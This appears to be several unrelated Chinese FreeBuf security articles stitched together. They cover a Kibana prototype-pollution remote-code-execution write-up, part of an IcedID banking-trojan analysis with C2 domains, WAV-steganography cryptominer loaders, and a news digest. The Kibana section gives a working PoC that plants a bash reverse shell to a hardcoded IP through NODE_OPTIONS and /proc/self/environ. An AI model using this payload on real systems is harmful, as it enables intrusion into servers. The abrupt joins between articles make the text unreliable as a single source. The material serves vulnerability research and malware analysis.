背景介绍:

Elasticsearch Kibana是荷兰Elasticsearch公司的一套开源的、基于浏览器的分析和搜索Elasticsearch仪表板工具,作为Elasticsearch的核心组件,Kibana可作为产品或服务提供,并与各种系统,产品,网站和企业中的其他Elastic Stack产品配合使用。 由于Kibana在大数据领域用途较为广泛,此次漏洞影响范围较大。

Nodejs的子进程创建

如何获取客户端参数的代码写在了proccess.js中,我们关注下客户端参数解析

以上代码是nodejs的exec方法的核心代码(卧槽,node自举了)。 可以看到代码调用了

normalizeExecArgs(command,options, callback);

而其中的options,是我们传入的命令行的参数,这个函数又调用了

function  normalizeSpawnArguments,而这个函数又调用了execFile,而execFile调用了spawn,而在spawn 里定义了这样的代码

const env =options.env || process.env;  获取客户端的options

  const envPairs = [];

  // process.env.NODE_V8_COVERAGE alwayspropagates, making it possible to

  // collect coverage for programs that spawnwith white-listed environment.

  if (process.env.NODE_V8_COVERAGE &&

     !ObjectPrototype.hasOwnProperty(options.env || {}, 'NODE_V8_COVERAGE')){

    env.NODE_V8_COVERAGE =process.env.NODE_V8_COVERAGE;

  }

  // Prototype values are intentionallyincluded

  for (const key in env) {

    const value = env[key];

    if (value !== undefined) {

      envPairs.push(`${key}=${value}`);

    }

  }

简单来说,客户端传入了options选项,那么就根据客户端的来处理,否则就去获取系统环境变量。

作者核心点

在这里我得提一下作者的思路

作者在命令行下尝试了

NODE_OPTIONS=’--require/proc/self/environ’ AAA=’cosole.log(123)//’ node

这是在shell里设置了一个NODE_OPTIONS的值和AAA环境变量,其中NODE_OPTIONS是可以这么写的,官方允许传递这样的参数,具体的文档在http://nodejs.cn/api/cli/node_options_options.html

内容是

作者做这个实验的核心目的就是表达,我在shell下传递options可以包含环境变量来执行代码也可以通过污染原型链来设置环境变量,console.log这个地方就是任意的nodejs表达式,包括执行命令的,这个是为了实验。

关于.env和process.env和/proc/self/environ

官方解释:process 对象是一个 global (全局变量),提供有关信息,控制当前 Node.js 进程。该对象表示Node所处的当前进程,允许开发者与该进程互动。打开命令行,输入node,再输入process.env,可以看见process.env是一个对象。这个对象在kibana这里就是有很多属性,我们污染的这个NODE_OPTIONS就是这个env的属性之一,其实还有NODE_ENV之类的属性。还有版本之类的。

根据子进程创建的逻辑,我们是否可以构造一个恶意的代码来污染原型链,因为代码里写了如果没定义process.env就去调用系统的环境变量,而根据javascript规则,我们随意设置一个对象的_proto_的env就可以覆盖掉process的env属性了,这样的话我们可以就定义好了,定义并且赋值就不会undefined了。

简单的说就是object.env下的属性就会被写入到/proc/self/environ里。

所以poc的下半句是

.props(label.__proto__.env.NODE_OPTIONS='--require/proc/self/environ')

根据作者核心思路“在shell下传递options可以包含环境变量来执行代码也可以通过污染原型链来设置环境变量”,我们开始尝试使用代码来设置环境变量而不是shell。

而/proc/self/environ就和php一样的,如果你设置了进程的环境变量,那么在运行的时候通过linux下/proc/self/environ可以读取进程的环境变量

如何在代码里设置环境变量?

答案是通过原型链污染,我们先污染object.env,也就是设置label.__proto__.env.NODE_OPTIONS,这样的话我们去访问process.env.NODE_OPTIONS就是我们设置的值,根据上面nodejs核心代码child_process.js的逻辑,我们传递的options最终会变成spawn的一个参数 ,作为环境变量执行。

文件包含获得shell

最后我们通过label.__proto__.env.NODE_OPTIONS=’–require/proc/self/environ’ 的设置了process.env.NODE_OPTIONS的值,被node读取到了,然后根据官方手册里写的,相当于运行了node –require “xxx.xxx” (就和php里的include 一样,node require的不一定非要是js文件,就和php不一定要是php文件一样)

Poc的另外一句话是:

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash-i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')

这里的AAA也是会被写入到/proc/self/environ,最后的环境变量应该是

AAA= require("child_process").exec("bash-i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//NODE_OPTIONS=--require/proc/self/environYarn_VERSION=1.17.3HOSTNAME=7da7727ddePWD=balabalabalabala#^&*(*&^%$

因为//是注释,所以后面忽略,然后这个文件被当作require的参数包含起来了,里面的代码自然就执行了。

几个重要的知识:

1、设置了xx.env.aaa的内容会被写入/proc/self/environ里,怎么设置?通过原型链

2、Poc设置了2个环境变量,一个被注释了

3、NODE_OPTIONS自nodeV8.0.0后才开始(如果你没成功,那么可以排查下nodejs的版本 

总结

聪明的你肯定知道 还有其他的办法可以RCE!可以利用的地方很多,原型链撕开了一个攻击面,而NODE_OPTIONS只是一个点。

根据对抗原型链攻击的办法可以使用Object.freeze来冻结原型链操作,但是这样会导致一些隐性的bug,如果你不熟悉javascript的话。

最佳的修复还是升级版本吧

*本文原创作者:NotFound,本文属于FreeBuf原创奖励计划,未经许可禁止转载

上文,我们已经就如何解压缩IcedID恶意软件,IcedID使用的挂钩和进程注入技术,以及如何执行IcedID有效载荷进行了研究,在这部分,我们会继续来研究关于IcedID有效载荷分析(父进程)的问题。

有效载荷分

以下是有效载荷的入口函数,它首先解钩函数RtlExitUserProcess。核心函数在函数sub_0x27FE()中实现。成功执行核心模块后,程序将进入无限循环,以确保svchost.exe进程不会退出。

1.png

有效载荷的入口函数

接下来,让我们看一下函数sub_0x27FE()。

2.png

函数sub_0x27FE()

接下来,我将向你展示该函数的作用。

两个注入的内存区域

正如你在第一部分的图15中所看到的,svchost.exe进程中有两个注入的内存区域。第一个是大小为8KB的数据段。此部分在开头存储了几个系统API的地址,加密的C2服务器列表以及其他有用的信息。

以下是系统API的地址。程序可以通过“call [base_addr + offset]’之类的指令间接调用它们,间接调用系统API的方式对于静态分析非常棘手。

3.png

存储在注入的内存区域中的系统API地址

以下是上述地址的相应API名称:

4.png

这些系统API的名称

此外,它将加密的C2服务器列表存储在偏移量0x350处。

5.png

加密的C2服务器列表

第二存储区域具有三个段(一个代码段和两个数据段),有效载荷的核心函数在代码段中实现。

与C2服务器通

首先让我们看一下如何获取C2服务器列表。如上图所示,加密数据为256字节,解密后的数据如下图所示。

6.png

C2服务器列表

我们可以获得初始的C2服务器列表。

albarthurst[.]pro
mozambiquest[.]pw
ransmittend[.]club
summerch[.]xyz

IcedID使用WinHTTP API与C2服务器通信,它通过HTTPS发送请求并接收响应。我们可以通过Fiddler拦截HTTPS流量。但是在使用它之前,我们必须设置WinHTTP的代理。在Windows Vista和更高版本上,我们需要使用提升的(admin)命令提示符来调用netsh,如下所示。有关详细说明,请参阅https://www.telerik.com/blogs/using-fiddler-with-winhttp

7.png

设置WinHTTP的代理

以下是Fiddler中发送的解密HTTPS流量IcedID:

8.png

初始阶段发送的解密的HTTPS流量IcedID

在初始阶段,IcedID可以通过SSL向C2服务器发送HTTP请求。然后,它解析响应,并继续通过SSL发送7个HTTP请求,以下载7个.DAT配置文件。接下来,让我们深入研究HTTP POST请求的URL参数。

9.png

HTTP POST请求的URL参数,我突出显示了一些关键参数:

第一个是Bot ID,它也用作RC4密钥来加密原始.DAT配置文件。参数‘r’表示IcedID的版本。在此示例中,其版本号为108。关于RC4密钥生成算法,我将在下一部分中详细介绍。

RC4密钥生成算法

函数sub_0x29E2用于生成大小为4字节的RC4密钥。

10.png

RC4密钥生成算法

RC4密钥存储在距第二个注入的存储区域的起始地址偏移量0x74A8处。然后,RC4密钥也被复制到偏移量为0x74B8的缓冲区。

多线程协作工作

IcedID可以创建多个线程来执行不同的任务,根据我的分析,通过调用函数CreateThread创建了五个子线程。一些线程始终在运行,而其他线程在完成任务后将退出,具体取决于收到的C2命令。我在下面列出了本示例的线程函数。

线程1:线程函数0x2601

该线程函数主要负责与C2服务器的初始通信,处理HTTP响应以及根据HTTP响应下载,.DAT配置文件或其他类型的文件并将其存储到相应的文件夹中。以下是此线程函数的伪代码。

11.png

线程函数0x2601

在此无限循环中,它将一直等待,直到指定的对象处于发信号状态或超时间隔(此处为5分钟)过去为止。然后,它生成URL参数和HTTP请求正文。接下来,它可以通过HTTPS与C2服务器通信。最后,它处理HTTP响应,并根据HTTP响应的解析结果继续下载.DAT配置文件或其他文件。该线程不会退出,并且始终在运行以与C2服务器通信。

第一次执行IcedID时,初始通信流量如下所示:

12.png

与C2服务器的初始通信

如图12所示,响应是多行消息。每行是一个C2命令,由三部分组成,两部分之间用分号分隔。恶意软件可以调用相应的处理程序函数,以基于C2命令号完成特定任务。第一部分表示事件ID,第二部分表示处理程序函数的索引,第三部分表示传递给处理程序函数的参数。以下是对处理函数的调用。

13.png

对处理程序函数的调用以及所有处理程序的地址

在此IcedID示例中,它支持18种不同类型的C2命令。

线程2:线程函数0x5599

该线程函数负责从C2服务器下载.DAT配置文件和其他类型的文件(例如可执行文件),并将这些数据保存到本地文件中。对于.DAT配置文件,HTTP响应正文由RC4算法使用两个不同的密钥加密两次。让我们仔细看看加密进程。以下是来自C2服务器的HTTP响应。

14.png

HTTP响应主体上的两个RC4加密进程

如图14所示,HTTP响应正文中的前8个字节是第一层的RC4密钥。第二个RC4密钥的长度为4个字节。其生成算法参考“RC4密钥生成算法”部分。

线程3:线程函数0x2E59

这个线程函数负责将IcedID PE文件复制到“C:\ProgramData\{0CD48D26-D226-4D28-9E39-3D2840658FD3}\{8CD48D26-D226-4D28-9E3A-3D2844658FD3}\qgbjaykqtsu”中。并在登录时调度任务。子目录的名称在不同的受影响的计算机上可能不同。预定的任务如下所示:

15.png

在登录时的预定任务

线程4:线程函数0x1F9B

该线程函数负责与C2服务器通信,这个线程是在处理图13中C2命令17的处理程序函数中创建的。

线程5:线程函数0x52FC

该线程函数负责创建三个新的svchost.exe子进程,并将代码注入这些进程的空间。

16.png

线程函数0x52fc

如图16所示,IcedID使用参数CREATE_SUSPENDED创建svchost.exe子进程。新进程的主线程将处于挂起状态,并且新创建的进程在调用ResumeThread函数之前不会运行。在恢复主线程之前,IcedID将代码注入到新的进程空间中。之后,它将调用ResumeThread函数,注入代码的伪代码如图17所示。

17.png

将代码注入svchost.ext子进程

在注入函数中,它首先将三个内存区域分配到远程进程空间。然后,它将解密的DAT配置文件中注入的代码。接下来,它将代码注入到先前分配的三个内存区域中。最后,它在远程进程空间中的RtlExitUserProcess API上设置了一个挂钩。接下来,让我们继续分析哪个DAT配置文件会被注入到相应的子进程中。

1. yxuvgoshgc.dat(748961aabd75b85ee602e5f6d70322b281930349fbc98ad5c638104a759eba0b)

如下所示,此DAT配置文件被注入到子进程1中。有三个内存区域要注入到子进程1中,其中第一个是注入的代码段,第二个是一个数据段,包括几个系统API的地址和更新的C2服务器列表。第三个是PE文件。

18.png

注入的svchost.exe子进程1

子进程1中挂钩的RtlExitUserProcess如下所示,调用RtlExitUserProcess函数时,它将跳转到0x210DF(offset:0x10DF)以执行有效载荷。

19.png

svchost.exe子进程1中的挂钩RtlExitUserProcess

2.uvgbwwwjcc.dat(b1d9d9bb617463a1cef665322949b29ad23ebfee2892908385b30cd739c163ce)

如下所示,此DAT配置文件被注入到子进程2中。有三个内存区域要注入到子进程2中。第一个是注入的代码段,第二个是一个数据段,包括几个系统API的地址和更新的C2服务器列表,第三个是数据段。

20.png

注入的svchost.exe子进程2

子进程2中挂钩的RtlExitUserProcess如下所示,当调用RtlExitUserProcess函数时,它将跳转到0x21E0A(offset:0x1E0A)以执行有效载荷。

21.png

svchost.exe子进程2中的挂钩RtlExitUserProcess

3.encziczibc.dat(672440151cd67a20bccc5c9f9f66f7d091098b0bd2a087eeac79af1f11bf3403)

如下所示,此DAT配置文件被注入到子进程3中。有三个内存区域要注入到子进程3中。第一个是注入的代码段。第二个是一个数据段,包括几个系统API的地址和更新的C2服务器列表。第三个是数据段。

22.png

注入的svchost.exe子进程3

子进程3中挂钩的RtlExitUserProcess如下所示,调用RtlExitUserProcess函数时,它将跳转到0x11168E(offset:0x168E)以执行有效载荷。

23.png

svchost.exe子进程3中的挂钩RtlExitUserProcess

关于这三个子进程在内部如何工作,我将在后面介绍。

持久的有效载荷和文件写入操作

以上,我们观察到了一些文件写入操作,如下所示。它将持久性有效载荷放入特定的文件夹中。并且还将七个.DAT配置文件放入“C:\ProgramData\cmrreaykdkq”文件夹中。在不同的系统中,子目录名称可能有所不同。

24.png

持久有效载荷和DAT配置文件的文件写入操作

下表列出了这些DAT配置文件的详细说明。

25.png

DAT配置文件的详细描述

签名验证

IcedID可以对有效载荷进行签名验证,它首先使用RC4密钥解密C2服务器配置文件(alofykqgeb.dat)(请参阅‘RC4密钥生成算法’部分)。解密后的数据缓冲区如下所示。该缓冲区分为三个部分。前8个字节是原始RC4密钥。随后的0x80字节数据是要验证的签名数据,第三部分是更新后的C2服务器列表。

26.png

解密alofykqgeb.dat中的数据

接下来,使用XOR操作对硬编码RSA公钥的缓冲区进行解密。

27.png

加密的硬编码RSA公钥和RSA公钥

然后,它调用CryptVerifySignatureW函数以验证签名。

28.png

调用CryptVerifySignatureW函数来验证签名

至此,我们已经完成了对svchost.exe父进程的分析,它包括IcedID如何与C2服务器通信,RC4密钥生成算法,代码注入进程,多个线程的详细操作,签名验证等。

接下来,我们将对这三个svchost.exe子进程进行深入分析。

子进程A(入口偏移量:0x168E)

第一个子进程主要负责在浏览器中执行web注入,并充当检查和操作流量的代理,它还可以挂钩浏览器中的关键函数。

以下是入口函数的伪代码。

1.png

蹦床代码中入口函数的伪代码

在此函数中,该进程首先解钩RtlExitUserProcess API,然后加载许多动态库,其中函数sub_0x1A9F()是核心函数。

2.png

核心函数sub_0x1A9F()

以下是此函数的主要函数列表:

1. 建立一个C2服务器列表;

2. 使用文件映射技术创建一个线程来设置IPC;

3. 创建一个线程,然后调用QueueUserAPC函数,将用户模式异步过程调用对象添加到指定线程的APC队列中。在APC中,它可以读取DAT配置文件,使用RC4密钥对其解密,然后按如下方式解压数据。

3.png

解密的Web注入DAT配置文件

此DAT配置文件用于执行Web注入,它使用一个魔术数字‘zeus’。然后IcedID使用自定义算法对内容进行解码,以下是解压缩后的数据。

4.png

Web注入的解压缩数据

4. 将自签名证书添加到证书存储中,然后创建一个在TCP端口61420上绑定到127.0.0.1的代理服务器。接下来,它调用RegisterWaitForSingleObject函数来注册WSA(Windows Socket API)事件处理程序,然后使用初始化的代理服务器的套接字,用于处理所有连接,发送和接收网络请求。

5.png

代理服务器处理网络请求

此外,为了对SSL连接执行MiTM攻击,代理服务器必须生成一个证书并将其添加到证书存储中。以下是实现过程:

6.png

将一个自签名证书添加到证书存储中

我们还可以看到此svchost.exe子进程正在侦听TCP端口61420。

7.png

5. 创建一个线程以将代码注入浏览器,以下是浏览器代码注入的线程函数。

8.png

浏览器注入函数

它使用ZwQuerySystemInformation函数来收集所有当前正在运行的进程的列表,如果找到了浏览器进程,它将执行代码注入浏览器进程并在ZwWaitForSingleObject函数上设置一个挂钩。以下是检查正在运行的进程是否为浏览器进程的函数。它首先使用指定的算法生成带有进程名称的哈希。然后,它将哈希与四个浏览器(Firefox,Edge,IE和Chrome)的给定哈希进行比较。

9.png

检查进程名称的哈希

在执行代码注入之前,它首先通过调用IsWow64Process函数检查该进程是否在64位上运行。然后,它将代码注入浏览器进程,并根据进程位的版本,调用相应的挂钩函数以在ZwWaitForSingleObject函数上设置挂钩。

10.png

处理注入并在浏览器中设置挂钩

下面,我们将使用Firefox演示如何执行进程注入并设置挂钩。

11.png

注入Firefox的进程

它在Firefox进程中的ZwWaitForSingleObject API上设置了一个挂钩,如下所示:

12.png

挂钩的ZwWaitForSingleObject函数

当Firefox调用ZwWaitForSingleObject函数时,它将跳转到蹦床代码,蹦床代码的入口函数位于注入内存区域的偏移0x1856处,让我们仔细看看蹦床代码(偏移量:0x1856)。

在这个蹦床代码中,它首先解钩ZwWaitForSingleObject API。然后,它在SSL_AuthCertificateHook API(在Firefox的nss3.dll中)上建立一个挂钩。nss3.SSL_AuthCertificateHook函数会指定一个证书身份验证回调函数,调用该函数对传入的证书进行身份验证。

以下是已挂钩的nss3.SSL_AuthCertificateHook函数。

13.png

挂钩的nss3.SSL_AuthCertificateHook函数

它将nss3.SSL_AuthCertificateHook函数配置为始终返回SECSuccess。

请注意,它可以为浏览器特定的函数设置一个挂钩,这具体取决于浏览器的类型。但是,我们不会在此文中提供其他任何浏览器的详细信息。

接下来,它将继续在ws2_32.dll中的connect API上设置挂钩。以下是挂钩的连接API。

14.png

ws2_32.dll中的挂钩连接API

以下是挂钩的连接API的蹦床代码的伪代码:

15.png

用于连接API的蹦床代码的伪代码

一旦connect函数返回0,就代表连接成功,它将向该svchost.exe子进程中创建的代理服务器127.0.0.1:61420发送12个字节的数据,捕获的流量如图15所示:

16.png

浏览器将12个字节的数据发送到代理服务器

这12个字节的结构包括以下四个部分,如下所示:

0x00:未知

0x04:目标网站的IP地址

0x08:端口

0x0A:浏览器类型

子进程B(入口偏移量:0x1E0A)

第二个子进程用于与C2服务器通信,它将尝试通过WebSocket向C2服务器发送一个HTTP请求,如下所示:

17.png

通过WebSocket从C2请求数据

它还使用映射文件技术与父svchost.exe进程进行通信,并且,根据共享信息的不同,它可能会尝试通过SSL向C2服务器发出网络请求,然后创建一个新进程,执行代码注入并在RtlExitUserProcess函数上设置一个挂钩。

子进程C(入口偏移量:0x10DF)

此进程通过使用映射文件技术与父svchost.exe进程进行通信,它还能够执行一些注册表操作。

至此,我们已经对新的IcedID恶意软件样本进行了详细分析。IcedID是一种复杂的复杂银行木马,它在浏览器中执行Web注入,并充当检查和操纵流量的代理。它旨在从受害者那里窃取信息(例如凭据),然后将所窃取的信息发送给攻击者控制的服务器。为此,IcedID使用了大量的挂钩和进程注入技术,并且还将自己伪装成几个svchost.exe进程。

我原本认为,在听音乐这件事上,最不需要的就是提心吊胆了。直到又一例隐藏恶意代码的wav音频文件曝光,隐写术的魔爪终于从png和jpg伸向wav文件。

10月17日,BlackBerry Cylance威胁研究人员最新发现:wav音频文件中嵌入模糊恶意代码。

播放时,你听到的wav文件发出的音乐没有明显的毛刺或质量问题,甚至还有点动听。背地里,音频加载程序解码并执行音频数据中的恶意代码,目标很清晰,就是挖矿。

无独有偶,俄罗斯Turla也用过这一招。今年6月,俄罗斯网络间谍组织Turla就创意性地将恶意代码隐藏在W**音频文件中并传输至攻击目标,这也是全球首个用W**文件传播恶意代码的攻击活动。有点不同的是,人家Turla组织不挖矿,而是用W**音频文件发起的国家级攻击活动,直接指向网络间谍入侵。

Turla组织颠覆了以往文本、图片、链接等形式的局限,拉开了用W**音频文件传播恶意代码的大幕。

继Turla组织的间谍行动后,其他黑客也效仿了起来。

BlackBerry Cylance所发现的是全球首例用W**音频隐写术加密挖矿的网络攻击。受感染主机在下载并使用特定wav加载程序加载W**文件后,会绕开电脑杀毒软件与防火墙,安装XMRrig加密货币矿工应用程序,变身“挖矿机”。

BlackBerry Cylance研究与情报副总裁还补充说,现在Windows桌面和服务器上都发现这种隐写恶意代码的W**文件。简言之,个人及企业用户已暴露在了隐写术加持下的恶意攻击威胁中。

什么是隐写术?

安全员都知道,隐写术就是指将信息隐藏在另一种数据介质中的技术。例如,将纯文本隐藏在图像中,又例如将恶意代码隐藏在音频中。

这挺鸡贼的,因为通过这种手段,暗藏恶意代码的文件就可以躲开安全软件的查杀拦截,甚至“洗白”享受白名单待遇,长久潜伏而不被发现。

隐写术在恶意程序开发中已经流行了十多年,最近开始,隐写术开始从PNG、JPG图片蔓延至W**音频文件。

我们以BlackberryCylance披露的报告威力进行分析,这类wav文件加载器可以分为以下三类:

采用最低有效位(LSB)隐写术的加载程序解码并执行PE文件。

加载程序采用基于rand()的解码算法来解码和执行PE文件。

加载程序采用基于rand()的解码算法来解码和执行shellcode。

第一类:隐写术PE加载器

第一类加载程序采用隐写术从W**文件中提取可执行内容。

隐写术是一种在另一个文件中隐藏文件或消息的做法,一般情况下不会引起对目标文件的怀疑。攻击者大量使用隐写技术来隐藏数据。

实际上,BlackBerry Cylance于4月发布了一份报告,该报告描述了海莲花组织如何利用隐写术来隐藏图像文件中的恶意后门。本文分析的样本使用了最低有效位隐写术(LSB)将恶意代码隐藏在音频文件中,其中单个字节的最右位包含恶意代码。

样本信息如下:

技术细节:

这个加载器读取wav文件头的最后四个字节,这四个字节表示wav文件中存储数据的大小,在这个恶意的wav文件里,这个大小是15,179,552 字节。

图:W**文件头-数据大小

在下面的代码片段中,加载程序读取这四个字节,并依此分配内存空间。然后,它读取数据并关闭W**文件。最后,do-while循环遍历前64个字节。按照下图所示的算法进行解码。

图:解码文件大小

显而易见,循环是在计数器<32且计数器每次迭代递增1时执行的。另外,data_offset表示编码数据内的偏移量,其值每次迭代从零开始递增2。此循环将覆盖数据的前64个字节(32* 2):

图:W**文件数据-64字节

对于每个已处理的字节,加载程序将提取LSB并将其分配给decoded_size中的相应位位置,从31(即最左边的位)开始,并在每次迭代时递减1,并将此算法应用于数据的前64个字节。

接下来,分配大小为decoded_size的存储器,并且执行各种计算。修改了默认标签名称,以指示所有计算的结果。这些数字将在即将到来的解码循环中用作已编码数据的偏移量:

图:分配内存并计算偏移量

按照上面的代码,do-while循环开始解码其余的编码数据:

图:解码文件内容

与前一个解码循环类似,此循环提取每个其他字节的LSB。但是,区别就在于它起始于最低位(最右一位)。每次迭代都从8个字节中提取LSB,以形成8位(1个字节)的解码数据。

如果应用此算法生成两个字节的解码数据,就需要32个编码字节。因为8位组成一个解码字节,并且每两个编码字节提取一个LSB,所以生成两个解码字节就需要32个编码字节(2个解码字节*每个解码字节8个LSB * 2 = 32):

图:32个字节的编码数据

解码数据的第一个字节将产生如下(不包括跳过的编码字节):

十六进制 二进制(带下划线的是LSB) 位位置 LSB分配到位位置
01 0000000 1 0 0000000 1
00 0000000 0 1 000000 0 1
FF 1111111 1 2 00000 1 01
FF 1111111 1 3 0000 1 101
FC 1111110 0 4 000 0 1101
FC 1111110 0 5 00 0 01101
FD 1111110 1 6 0 1 001101
FC 1111110 0 7 0 1001101

解码数据的第二个字节产生如下(同样,不包括跳过的编码字节):

十六进制 二进制(带下划线的是LSB) 位位置 LSB分配到位位置
FE 1111111 0 0 0000000 0
FF 1111111 1 1 000000 1 0
00 0000000 0 2 00000 0 10
01 0000000 1 3 0000 1 010
FF 1111111 1 4 000 1 1010
FE 1111111 0 5 00 0 11010
FB 1111101 1 6 0 1 011010
FA 1111101 0 7 0 1011010

结果,前两个字节分别具有二进制值01001101和01011010,两个字节的十六进制表示为0x4D5A,指的是PE文件开头众所周知的“ MZ”。

do-while循环将继续进行迭代,直到在内存中生成XMRigDLL。最后,将解码后的DLL映射到内存中,并执行“start”导出函数,开始挖矿。

第二类 基于Rand()的PE加载程序

第二类加载器使用基于rand()的解码算法来隐藏PE文件。

样本信息如下:

技术细节:

执行后,此加载程序将读取W**文件头,提取数据大小,相应地分配内存,并将W**数据存储在新分配的内存中。接下来,加载器解码W**文件的数据内容:

图:基于Rand()的PE加载器解码循环

注意,size_of_data表示从W**头中提取的数据大小,wave_data包含编码的W**数据的地址。加载程序调用srand函数和rand函数,从W**数据中提取PE文件。

为什么选择这两个函数呢?因为当srand函数接收一个固定的值作为种子的时候,每次调用rand函数就会生成一个固定的伪随机数。

此时,do-while循环遍历编码数据的每个字节,用从编码字节中减去rand()生成的伪随机数替换该字节。例如,让我们解码此处显示的数据的前两个字节:

使用本节分析的加载器和W**文件,下表显示srand()种子值为0×309的前两次迭代的值:

循环运行 W**数据(字节) rand()输出(低字节) 区别
1 0x5C 0x0F 0x5C-0x0F = 0x4D
2 0×99 0x3F 0×99-0x3F = 0x5A

前两个字节代表通常在PE文件开头出现的“ MZ”。循环遍历所有数据字节后,就解码出XMRig Monero CPU64位挖矿DLL。生成的DLL与Song.wav解码的DLL仅相差四个字节:

图:解码后的click.wav与Song.wav

虽然不清楚这些字节为何不同,但是它们对DLL的功能没有影响,因此这两个XMRig DLL文件实际上是相同的。

接下来,加载器获取在命令行中指定的导出函数地址。如果存在,则加载器将启动一个线程来执行它:

图:确定导出和启动线程的地址以执行它

第三类:基于Rand()的Shellcode加载器

此方式和上述的方式及原理完全相同,不同点仅仅是前者加载的PE文件而后者加载的Shellcode

零日反思

网络威胁的演进,从来都是多维立体的。

隐写术从文本、图片扩散至音频,就是最直观的例子。

而隐写术+恶意代码+音频多种形式融合的网络威胁手段,也不断提醒着我们,网络空间威胁会越来越复杂,单纯的攻防策略已难以有效守护网络空间的一片安宁。

参考资料:

BlackBerry Cylance《恶意负载-隐藏在W**下》

*本文作者:0day情报局,转载请注明来自FreeBuf.COM

【全球动态】

1.FB与英监管机构达成协议 为数据泄露支付64.3万美元

据国外媒体报道,Facebook(189.31, -0.09, -0.05%)与英国数据保护机构达成和解,同意支付50万英镑(约合64.3万美元)的赔偿金。在去年3月份的大规模用户信息泄露事件曝光后,英国信息专员办公室(ICO)就开始对Facebook的数据安全保护措施进行调查。去年10月,ICO宣布对Facebook处以50万英镑的罚款。虽然如此,ICO仍在调查Facebook其他一些问题,包括追踪用户上网行为等问题。[阅读原文]

2.网友声称Kudankulam核电厂遭到网络攻击

在社交媒体上一些用户声称:“ DTrack”恶意软件已感染了KKNPP(库丹库拉姆核电站)的系统。(KKNPP是当地最大核电站,而DTrack恶意软件可支持远程访问)不过,核电站的工作人员否认了这一事件,表示KKNPP和其他印度核电站控制系统是独立的,并没有连接到外部网络和Internet。[外刊-阅读原文]

3.Facebook起诉以色列NSO间谍软件公司入侵WhatsApp用户

Facebook根据美国各州和联邦法律起诉,对以色列移动监控公司NSO Group提起诉讼,称该公司正在积极参与了攻击其端到端加密WhatsApp消息服务的用户的行动。[外刊-阅读原文]

4.男子欲竞选加州州长:只为能在Facebook上发虚假广告

据外媒报道,一名来自旧金山的男子不遗余力地对Facebook允许政客在其平台上发布虚假广告这一备受争议的政策提出抗议。当地时间周一上午,他登记成为加州2022年州长选举的竞选人–不过并不是为了成为州长而是为了能在Facebook上发布自己的虚假广告。[阅读原文]

5.GSA报告:全球5G网络商用数量已达46个

来自GSA的最新研究报告显示,截至2019年10月,全球有321家运营商正在103个国家进行5G投资,其中46家已经推出商用服务;34家运营商推出了3GPP标准的5G移动服务;27家运营商推出了3GPP标准的5G FWA服务或家庭宽带服务。[阅读原文]

【安全事件】

1.11月新规施行:网络平台泄露用户信息500条以上可入罪

据新华社报道,11月起,包括网络平台泄露用户信息500条以上可入罪在内的法律法规开始施行。刑法规定,网络服务提供者不履行法律、行政法规规定的信息网络安全管理义务,经监管部门责令采取改正措施而拒不改正,致使用户信息泄露,造成严重后果的,处三年以下有期徒刑、拘役或者管制,并处或者单处罚金。[阅读原文]

2.一次网络攻击可能会造成亚太主要港口1100亿美金损失

研究提出,在比较极端的设想下,病毒感染新加坡,中国,日本,韩国和马来西亚的15个主要港口,那么可能使这些亚太主要港口遭受高达1100亿美元的损失,这一数字相当于去年全球自然灾害造成的总损失的一半。[外刊-阅读原文]

3.GitLab在产品中收集用户行为数据,遭强烈抗议后撤回

Gitlab官方向社区开发者发送致歉邮件,为上周“收集用户行为数据”的行为致歉。Gitlab表示,他们已在第二天(10月24日)取消了收集用户行为数据的行为,并承诺不会在产品中采取这一措施。邮件指出,10月23日,Gitlab向用户发送一封名为《服务条款和用户行为数据收集的重要更新》的电子邮件。Gitlab在邮件中表示,希望收集Gitlab产品中用户的行为数据,但收到了许多社区开发者的反馈及抗议。[阅读原文]

4.国家网信办:各互联网企业注意防范伪造的”撤稿邮件”

国家网信办发声:近期,我中心陆续接到互联网企业反映,收到发件人显示为中央网信办、国家网信办、违法和不良信息举报中心等,地址显示为[email protected][email protected]等的“撤稿指令”邮件。我们在此严正声明,我中心从未通过以上渠道向互联网企业发送所谓撤稿、删帖指令。不法分子利用技术手段,通过篡改邮件传输协议,伪造出各种显示发件人为官方机构的地址,冒用我中心名义通过向互联网企业“下达指令”,谋取不当利益,属于违法行为。[阅读原文]

5.暗网上出售130万张印度支付卡的详细信息,成有史以来最大的单卡数据库

Group-IB是一家总部位于新加坡的网络安全公司,日前,该公司检测到一个庞大的数据库,该数据库可能保存了超过130万张印度银行客户信用卡和借记卡的记录,并于10月28日上传到Joker’s Stash。该数据库的暗网价值接近1.3亿美元。[外刊-阅读原文]

6.“黑客”潜入医院进行非法统方,该如何应对

不法分子利用医生午休时间,进入诊室通过技术手段窃取医院的“统方”数据,并从中牟利近百万元。“统方”是医院里的一种专业术语,指一家医院对医生处方用药信息的统计。医院哪些药用得最多,哪种药更受医生青睐,这些都能从“统方”中看出来。[阅读原文]

7.警方破获一高价收购域名诈骗案 受害人被骗100余万元

近日,重庆警方成功破获一起高价收购域名诈骗案,犯罪团伙以高价收购网站域名为诱饵,以域名交易缺乏相关证件为由,诈骗受害人高额制证费。重庆市潼南区公安局接到群众报案称,在其注册“中国某行业网”后的2个月期间,接到不同公司电话称可以为其销售网站域名,随后又以网站的域名需要办理信息板块、办理各种证书等为由实施诈骗,合计被诈骗100余万元。[阅读原文]

【优质文章】

1.高危!我国多个重要单位被境外APT黑客组织Bitter攻陷

2019年10月29日,微步在线监测到有研究者在Twitter上披露了某木马的C2控制后台,其中包括部分目前正在被控的IP。对之进行了分析后,有如下发现:此主控后台系印度政府背景APT组织Bitter所有。(Bitter,又名“蔓灵花”,是一个长期针对中国、巴基斯坦等国家的政府、军工、电力、核等部门发动网络攻击的APT团伙,具有印度国家背景)对后台日志进行分析发现,中国是主要的受害者,其中受影响地区包含北京、上海、浙江、广西等地。[阅读原文]

2.Emotet银行木马再次通过大量群发钓鱼邮件攻击国内企业

多家企业收到钓鱼邮件攻击,钓鱼邮件附件是一个Office文档,运行后宏病毒会下载Emotet银行木马执行。数据显示近期Emotet木马针对国内的攻击呈明显上升趋势,从事进出口贸易的企业是Emotet银行木马的主要目标。[阅读原文]

3.2019年最危险的勒索软件,网络钓鱼和僵尸网络

Webroot发布了年度最危险的恶意软件列表,阐明了2019年网络安全威胁。从攻击量最大的勒索软件和加密挖矿活动到破坏力最大的网络钓鱼攻击,很明显,全面的网络威胁正在变得更加先进且难以检测。[外刊-阅读原文]

